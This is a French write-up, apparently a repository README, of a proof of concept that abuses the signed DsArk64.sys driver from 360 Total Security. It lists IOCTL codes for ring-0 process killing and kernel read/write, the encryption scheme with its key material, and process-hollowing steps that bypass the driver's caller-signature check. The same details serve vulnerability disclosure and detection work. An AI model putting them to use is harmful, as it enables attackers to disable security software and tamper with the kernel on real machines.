
Preuve de concept BYOVD exploitant le pilote DsArk64.sys signé WHQL pour la terminaison de processus en ring-0 et la lecture/écriture du noyau via des IOCTL chiffrés et du process hollowing.
DsArk64.sys est livré avec 360 Total Security. Signé WHQL par Microsoft. LOLDrivers : magicsword-io/LOLDrivers#308. CVE : Demandé (MITRE).
Process kill (ring 0)
0x80863008, entrée : PID brut de 4 octetsZwOpenProcess(ALL_ACCESS) + ZwTerminateProcess depuis le noyauLecture noyau
0x80863028, entrée chiffrée AES-128-CBCmemcpy(out, kernel_addr, n), max 512 octetsMmIsAddressValid()Écriture noyau
0x80863028, même chiffrementmemcpy, max 32 octetsChiffrement
.data62b456ec407f0a9a05911cb6f238a7fee59329b6d408e7fa557637e62c9eaa43[MD5(payload) 16B][payload]Le pilote vérifie que le processus appelant possède une signature Authenticode Qihoo avant d'accorder l'accès au périphérique. Contourné via process hollowing :
360.cn (sans compte, sans CAPTCHA)CREATE_SUSPENDED)CreateRemoteThread ; le shellcode appelle CreateFileW("\\.\DsArk")IoGetCurrentProcess(), voit le certificat Qihoo, autorise l'ouvertureDuplicateHandle du résultat vers le processus attaquantTerminateProcess du donneurLe WinMain de l'installeur ne s'exécute jamais.
pycryptodome ou cryptography (pour les tests IOCTL chiffrés)8/8 réussis :
HKLM\...\360FsFlt\daboot=1 crééesc create/start (signé WHQL, sans test-signing)0x80863000 a répondu0x80863008 a terminé notepad.exe0x80863020 a atteint le handler0x80863028 crypto vérifiée (clé/IV AES corrects, MD5 accepté)0xDEAD0000 rejeté| Fichier | SHA256 |
|---|---|
| dsark64.sys | cd3d1a2e119cbbb41ec0e7d7fb17bac106735d62b33ed3cde10087af1da89403 |
| DsArk64_win10.sys | 86127dbc92e2896319d1c9117b85e6db01ff001f3a85614d5ef9088d181b044a |
X : @weezerOSINT / Telegram : @weezer